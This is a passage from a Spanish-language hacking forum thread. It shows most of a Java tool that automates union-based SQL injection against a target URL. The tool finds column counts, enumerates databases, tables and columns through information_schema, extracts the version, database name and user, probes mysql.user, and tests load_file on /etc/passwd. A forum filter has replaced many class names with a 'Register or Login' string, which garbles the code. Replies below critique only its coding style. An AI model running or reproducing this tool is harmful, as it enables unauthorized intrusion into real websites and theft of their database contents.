  476.  
  477.                 if (dos.find()) {
  478.                     You are not allowed to view links. Register or Login.out.println("[+] Column Found : " + dos.group(1));
  479.                     savefile(urla, "[+] Column Found : " + dos.group(1));
  480.                 }
  481.  
  482.             }
  483.  
  484.         } else {
  485.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  486.         }
  487.  
  488.  
  489.     }
  490.  
  491.     private static void getablesbydb(You are not allowed to view links. Register or Login urla, You are not allowed to view links. Register or Login db) throws You are not allowed to view links. Register or Login {
  492.  
  493.         You are not allowed to view links. Register or Login web1;
  494.         You are not allowed to view links. Register or Login web2;
  495.         You are not allowed to view links. Register or Login code;
  496.         You are not allowed to view links. Register or Login data;
  497.         int x;
  498.         Pattern uno = null;
  499.         Matcher dos = null;
  500.  
  501.         data = encodehex(db);
  502.  
  503.         web1 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))");
  504.         web2 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))");
  505.  
  506.         You are not allowed to view links. Register or Login.out.println("\n[+] Getting Tables ....");
  507.  
  508.         code = toma(web1 + "+from+information_schema.tables+where+table_schema=" + data + "--");
  509.  
  510.         uno = Pattern.compile("K0BRA(.*)K0BRA");
  511.         dos = uno.matcher(code);
  512.  
  513.         if (dos.find()) {
  514.             You are not allowed to view links. Register or Login.out.println("\n[+] Tables Found : " + dos.group(1) + "\n");
  515.             savefile(urla, "\r\n" + "[DB] : " + db + "\r\n");
  516.  
  517.             int finals = You are not allowed to view links. Register or Login.parseInt(dos.group(1));
  518.  
  519.             for (x = 0; x <= finals; x = x + 1) {
  520.  
  521.                 code = toma(web2 + "+from+information_schema.tables+where+table_schema=" + data + "+limit+" + x + ",1--");
  522.  
  523.                 uno = Pattern.compile("K0BRA(.*)K0BRA");
  524.                 dos = uno.matcher(code);
  525.  
  526.                 if (dos.find()) {
  527.                     You are not allowed to view links. Register or Login.out.println("[+] Table Found : " + dos.group(1));
  528.                     savefile(urla, "[+] Table Found : " + dos.group(1));
  529.                 }
  530.  
  531.             }
  532.  
  533.         } else {
  534.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  535.         }
  536.  
  537.  
  538.     }
  539.  
  540.     private static void getdbs(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  541.  
  542.         You are not allowed to view links. Register or Login web1;
  543.         You are not allowed to view links. Register or Login web2;
  544.         You are not allowed to view links. Register or Login code;
  545.         int x;
  546.         Pattern uno = null;
  547.         Matcher dos = null;
  548.  
  549.         web1 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))");
  550.         web2 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))");
  551.  
  552.         You are not allowed to view links. Register or Login.out.println("\n[+] Getting DBS ....");
  553.  
  554.         code = toma(web1 + "+from+information_schema.schemata--");
  555.  
  556.         uno = Pattern.compile("K0BRA(.*)K0BRA");
  557.         dos = uno.matcher(code);
  558.  
  559.         if (dos.find()) {
  560.             You are not allowed to view links. Register or Login.out.println("\n[+] DBS Found : " + dos.group(1) + "\n");
  561.  
  562.             savefile(urla, "\r\n" + "[+] DBS Found : " + dos.group(1) + "\r\n");
  563.  
  564.             int finals = You are not allowed to view links. Register or Login.parseInt(dos.group(1));
  565.  
  566.             for (x = 0; x <= finals; x = x + 1) {
  567.  
  568.                 code = toma(web2 + "+from+information_schema.schemata+limit+" + x + ",1--");
  569.  
  570.                 uno = Pattern.compile("K0BRA(.*)K0BRA");
  571.                 dos = uno.matcher(code);
  572.  
  573.                 if (dos.find()) {
  574.                     You are not allowed to view links. Register or Login.out.println("[+] DB Found : " + dos.group(1));
  575.                     savefile(urla, "[+] DB Found : " + dos.group(1));
  576.                 }
  577.  
  578.             }
  579.  
  580.         } else {
  581.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  582.         }
  583.  
  584.     }
  585.  
  586.     private static void schemacolumns(You are not allowed to view links. Register or Login urla, You are not allowed to view links. Register or Login nombre) throws You are not allowed to view links. Register or Login {
  587.  
  588.         You are not allowed to view links. Register or Login web1;
  589.         You are not allowed to view links. Register or Login web2;
  590.         You are not allowed to view links. Register or Login code;
  591.         You are not allowed to view links. Register or Login tablexa;
  592.         int x;
  593.         Pattern uno = null;
  594.         Matcher dos = null;
  595.  
  596.         tablexa = encodehex(nombre);
  597.  
  598.         web1 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))");
  599.         web2 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))");
  600.  
  601.         You are not allowed to view links. Register or Login.out.println("\n[+] Getting columns ....");
  602.  
  603.         code = toma(web1 + "+from+information_schema.columns+where+table_name=" + tablexa + "--");
  604.  
  605.         uno = Pattern.compile("K0BRA(.*)K0BRA");
  606.         dos = uno.matcher(code);
  607.  
  608.         if (dos.find()) {
  609.             You are not allowed to view links. Register or Login.out.println("\n[+] Columns Found : " + dos.group(1) + "\n");
  610.  
  611.             savefile(urla, "\r\n" + "[Table] : " + nombre + "\r\n");
  612.  
  613.             int finals = You are not allowed to view links. Register or Login.parseInt(dos.group(1));
  614.  
  615.             for (x = 0; x <= finals; x = x + 1) {
  616.  
  617.                 code = toma(web2 + "+from+information_schema.columns+where+table_name=" + tablexa + "+limit+" + x + ",1--");
  618.  
  619.                 uno = Pattern.compile("K0BRA(.*)K0BRA");
  620.                 dos = uno.matcher(code);
  621.  
  622.                 if (dos.find()) {
  623.                     You are not allowed to view links. Register or Login.out.println("[+] Column Found : " + dos.group(1));
  624.                     savefile(urla, "[+] Column Found : " + dos.group(1));
  625.                 }
  626.  
  627.             }
  628.  
  629.         } else {
  630.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  631.         }
  632.  
  633.     }
  634.  
  635.     private static void schematables(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  636.  
  637.         You are not allowed to view links. Register or Login web1;
  638.         You are not allowed to view links. Register or Login web2;
  639.         You are not allowed to view links. Register or Login code;
  640.         int x;
  641.         Pattern uno = null;
  642.         Matcher dos = null;
  643.  
  644.         web1 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))");
  645.         web2 = urla.replace("hackman", "unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))");
  646.  
  647.         You are not allowed to view links. Register or Login.out.println("\n[+] Getting tables ....\n");
  648.  
  649.         code = toma(web1 + "+from+information_schema.tables--");
  650.  
  651.         uno = Pattern.compile("K0BRA(.*)K0BRA");
  652.         dos = uno.matcher(code);
  653.  
  654.         if (dos.find()) {
  655.             You are not allowed to view links. Register or Login.out.println("[+] Tables Found : " + dos.group(1) + "\n");
  656.  
  657.             savefile(urla, "");
  658.  
  659.             int finals = You are not allowed to view links. Register or Login.parseInt(dos.group(1));
  660.  
  661.             for (x = 0; x <= finals; x = x + 1) {
  662.  
  663.                 code = toma(web2 + "+from+information_schema.tables+limit+" + x + ",1--");
  664.  
  665.                 uno = Pattern.compile("K0BRA(.*)K0BRA");
  666.                 dos = uno.matcher(code);
  667.  
  668.                 if (dos.find()) {
  669.                     You are not allowed to view links. Register or Login.out.println("[+] Table Found : " + dos.group(1));
  670.                     savefile(urla, "[+] Table Found : " + dos.group(1));
  671.                 }
  672.  
  673.             }
  674.  
  675.         } else {
  676.             You are not allowed to view links. Register or Login.out.println("[-] Not Found");
  677.         }
  678.  
  679.     }
  680.  
  681.     private static void scan(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  682.  
  683.         You are not allowed to view links. Register or Login codex;
  684.         You are not allowed to view links. Register or Login target;
  685.  
  686.         Pattern uno = null;
  687.         Matcher dos = null;
  688.  
  689.         target = urla;
  690.  
  691.         You are not allowed to view links. Register or Login.out.println("\n[+] Checking ...\n");
  692.  
  693.         codex = toma(target + "-1+union+select+666--");
  694.  
  695.         uno = Pattern.compile("The used SELECT statements have a different number of columns");
  696.         dos = uno.matcher(codex);
  697.  
  698.         if (dos.find()) {
  699.             You are not allowed to view links. Register or Login.out.println("[+] Scanning ...\n");
  700.  
  701.             int x;
  702.             You are not allowed to view links. Register or Login urlfinal;
  703.             You are not allowed to view links. Register or Login otrofinal;
  704.             You are not allowed to view links. Register or Login code;
  705.             You are not allowed to view links. Register or Login formariny;
  706.             You are not allowed to view links. Register or Login otroformar;
  707.             You are not allowed to view links. Register or Login link;
  708.  
  709.             urlfinal = "";
  710.             formariny = "";
  711.  
  712.             for (x = 1; x <= 5; x = x + 1) {
  713.  
  714. //urlfinal = urlfinal+x+",";
  715.                 urlfinal = urlfinal + encodehex("RATSXPDOWN" + x) + ",";
  716.                 formariny = formariny + x + ",";
  717.  
  718.                 otrofinal = urlfinal;
  719.                 otroformar = formariny;
  720.  
  721.                 otrofinal = otrofinal.substring(0, otrofinal.length() - 1);
  722.                 otroformar = otroformar.substring(0, otroformar.length() - 1);
  723.  
  724.                 code = toma(target + "-1+union+select+" + otrofinal);
  725.  
  726.                 uno = Pattern.compile("RATSXPDOWN(\\d+)");
  727.                 dos = uno.matcher(code);
  728.  
  729.                 if (dos.find()) {
  730.  
  731.                     otroformar = otroformar.replace(dos.group(1), "hackman");
  732.  
  733.                     link = target + "-1+union+select+" + otroformar;
  734.  
  735.                     You are not allowed to view links. Register or Login.out.println("[Target] : " + link);
  736.                     You are not allowed to view links. Register or Login.out.println("[Limit] : The site has " + x + " columns");
  737.                     You are not allowed to view links. Register or Login.out.println("[Data] : The number " + dos.group(1) + " print data");
  738.  
  739.                     savefile(link, "\r\n" + "[Target] : " + link);
  740.                     savefile(link, "[Limit] : The site has " + x + " columns");
  741.                     savefile(link, "[Data] : The number " + dos.group(1) + " print data");
  742.  
  743.                     manejo(link);
  744.  
  745.                     You are not allowed to view links. Register or Login.exit(1);
  746.  
  747.                 }
  748.  
  749.             }
  750.             You are not allowed to view links. Register or Login.out.println("[-] Error");
  751.         } else {
  752.             You are not allowed to view links. Register or Login.out.println("[-] Not vulnerable");
  753.         }
  754.  
  755.     }
  756.  
  757.     private static void details(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  758.  
  759.         You are not allowed to view links. Register or Login concat;
  760.         You are not allowed to view links. Register or Login code;
  761.  
  762.         Pattern uno = null;
  763.         Matcher dos = null;
  764.  
  765.         concat = "concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))";
  766.  
  767.         urla = urla.replace("hackman", concat);
  768.  
  769.         You are not allowed to view links. Register or Login.out.println("\n[+] Searching informaion ...\n");
  770.  
  771.         code = toma(urla);
  772.  
  773.         uno = Pattern.compile("ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854");
  774.         dos = uno.matcher(code);
  775.  
  776.         if (dos.find()) {
  777.             You are not allowed to view links. Register or Login.out.println("[+] DB Version : " + dos.group(1));
  778.             You are not allowed to view links. Register or Login.out.println("[+] DB Name : " + dos.group(2));
  779.             You are not allowed to view links. Register or Login.out.println("[+] Username : " + dos.group(3));
  780.  
  781.             savefile(urla, "\r\n" + "[+] DB Version : " + dos.group(1));
  782.             savefile(urla, "[+] DB Name : " + dos.group(2));
  783.             savefile(urla, "[+] Username : " + dos.group(3));
  784.  
  785.         } else {
  786.             You are not allowed to view links. Register or Login.out.println("[-] Not found any data");
  787.         }
  788.  
  789.         urla = urla.replace(concat, "char(69,82,84,79,82,56,53,52)");
  790.  
  791.         code = toma(urla + "+from+information_schema.tables--");
  792.         uno = Pattern.compile("ERTOR854");
  793.         dos = uno.matcher(code);
  794.  
  795.         if (dos.find()) {
  796.             You are not allowed to view links. Register or Login.out.println("[+] information_schema : on");
  797.             savefile(urla, "[+] information_schema : on");
  798.         } else {
  799.             You are not allowed to view links. Register or Login.out.println("[-] information_schema : off");
  800.         }
  801.  
  802.         code = toma(urla + "+from+mysql.user--");
  803.         uno = Pattern.compile("ERTOR854");
  804.         dos = uno.matcher(code);
  805.  
  806.         if (dos.find()) {
  807.             You are not allowed to view links. Register or Login.out.println("[+] mysqluser : on");
  808.             savefile(urla, "[+] mysqluser : on");
  809.         } else {
  810.             You are not allowed to view links. Register or Login.out.println("[-] mysquser : off");
  811.         }
  812.  
  813.         urla = urla.replace("char(69,82,84,79,82,56,53,52)", "concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))");
  814.  
  815.         code = toma(urla);
  816.         uno = Pattern.compile("ERTOR854");
  817.         dos = uno.matcher(code);
  818.  
  819.         if (dos.find()) {
  820.             You are not allowed to view links. Register or Login.out.println("[-] load_file : on");
  821.             savefile(urla, "[-] load_file : on");
  822.         } else {
  823.             You are not allowed to view links. Register or Login.out.println("[-] load_file : off");
  824.         }
  825.  
  826.     }
  827.  
  828.     private static void savefile(You are not allowed to view links. Register or Login nombre, You are not allowed to view links. Register or Login texto) throws You are not allowed to view links. Register or Login {
  829.  
  830.         You are not allowed to view links. Register or Login formar;
  831.  
  832.         You are not allowed to view links. Register or Login h = new You are not allowed to view links. Register or Login(nombre);
  833.  
  834.         formar = "logs/" + h.getHost() + ".txt";
  835.  
  836.         You are not allowed to view links. Register or Login writer = new You are not allowed to view links. Register or Login(formar, true);
  837.         writer.write(texto + "\r\n");
  838.         writer.close();
  839.  
  840.     }
  841.  
  842.     private static You are not allowed to view links. Register or Login toma(You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. Register or Login {
  843.  
  844.         You are not allowed to view links. Register or Login re;
  845.  
  846.         You are not allowed to view links. Register or Login conte = new You are not allowed to view links. Register or Login(40);
  847.  
  848.         You are not allowed to view links. Register or Login url = new You are not allowed to view links. Register or Login(urla);
  849.         You are not allowed to view links. Register or Login hc = url.openConnection();
  850.         hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  851.  
  852.         You are not allowed to view links. Register or Login nave = new You are not allowed to view links. Register or Login(
  853.                 new You are not allowed to view links. Register or Login(hc.getInputStream()));
  854.  
  855.         while ((re = nave.readLine()) != null) {
  856.             conte.append(re);
  857.         }
  858.  
  859.         nave.close();
  860.  
  861.         return conte.toString();
  862.  
  863.     }
  864.  
  865.     public static You are not allowed to view links. Register or Login encodehex(You are not allowed to view links. Register or Login text) {
  866.  
  867. //Thanks to Katarina Majetic
  868. //Based on http://www.dzone.com/snippets/encode-string-hex
  869.  
  870.         byte[] z = text.getBytes();
  871.         You are not allowed to view links. Register or Login h = new You are not allowed to view links. Register or Login();
  872.         You are not allowed to view links. Register or Login l;
  873.         int n;
  874.         int a = z.length;
  875.         int u;
  876.  
  877.         for (n = 0; n < a; n++) {
  878.             u = z[n] & 0x000000FF;
  879.             l = You are not allowed to view links. Register or Login.toHexString(u);
  880.             h.append(l);
  881.         }
  882.         return "0x" + h.toString();
  883.     }
  884. }
  885.  
  886. //The End ?
  887.  
« Última modificación: Abril 18, 2013, 01:09:38 pm por Expermicid »

Conectado ~ Yoya ~

  • *
  • Underc0der
  • Mensajes: 152
  • Actividad:
    3.33%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 23, 2013, 12:46:51 pm »
La verdad que de Java lo único que tiene es la sintaxis, no usas el potencial que te ofrece....

Saludos.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #2 en: Enero 23, 2013, 02:00:51 pm »
¿ Y como uso el potencial en este programa ?

Conectado ~ Yoya ~

  • *
  • Underc0der
  • Mensajes: 152
  • Actividad:
    3.33%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #3 en: Enero 27, 2013, 04:46:22 pm »
Nose si te habrás dado cuenta, pero para agregar alguna nueva funcionalidad tienes que modificar directamente el source. También viola muchos principios, por esa razón si alguien quiere hacer o añadir alguna funcionalidad o arreglar algo debe leerse todo el source entero.

Ese tipo de estilo de programación es muy antiguo y normalmente se usaba para hacer una tarea especifica, teniendo en cuenta que el source nunca va variar ni se le agregara alguna funcionalidad, osea que solo habrá una única versión. Aunque actualmente se sigue utilizando esa forma para creación de exploit, ya que los exploit se crean para explotar una especifica vulnerabilidad y luego de lanzarlo ya esta, no hay necesidad de lanzar otra versión del mismo exploit que siga exactamente los mismos pasos.

Y como dices, lo que tienes es un "programa" y tienes que tratar de utilizar muy buenas practicas de programación para así crear aplicaciones escalable.

Saludos.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #4 en: Enero 27, 2013, 05:13:02 pm »
no me quedo muy claro lo que me dijiste porque recien empiezo en java , pero gracias por la explicacion.

 

¿Te gustó el post? COMPARTILO!



[Video Curso] Iniciacion a Java por DesarrolloWeb y EscuelaIT Mayo 2014

Iniciado por graphixx

Respuestas: 3
Vistas: 1471
Último mensaje Febrero 23, 2015, 10:13:28 am
por Hu3c0
Java Extremo [Video Cursos Completos] [Español] [ISO] 2009

Iniciado por graphixx

Respuestas: 9
Vistas: 4384
Último mensaje Diciembre 04, 2017, 02:36:34 am
por graphixx
Como compilar programas Java en la consola de comandos de Windows

Iniciado por tar3kw0rm3d

Respuestas: 2
Vistas: 2169
Último mensaje Junio 04, 2013, 02:55:07 pm
por tar3kw0rm3d
[LIBRO] Programación avanzada en Java - Sonia Jaramillo Valbuena

Iniciado por graphixx

Respuestas: 2
Vistas: 2627
Último mensaje Junio 01, 2018, 01:56:36 pm
por eervv
Tutorial: Traduccion de aplicaciones JAVA - Moviles [By :: SmartGenius :: ]

Iniciado por ProcessKill

Respuestas: 0
Vistas: 1495
Último mensaje Febrero 24, 2010, 04:26:07 pm
por ProcessKill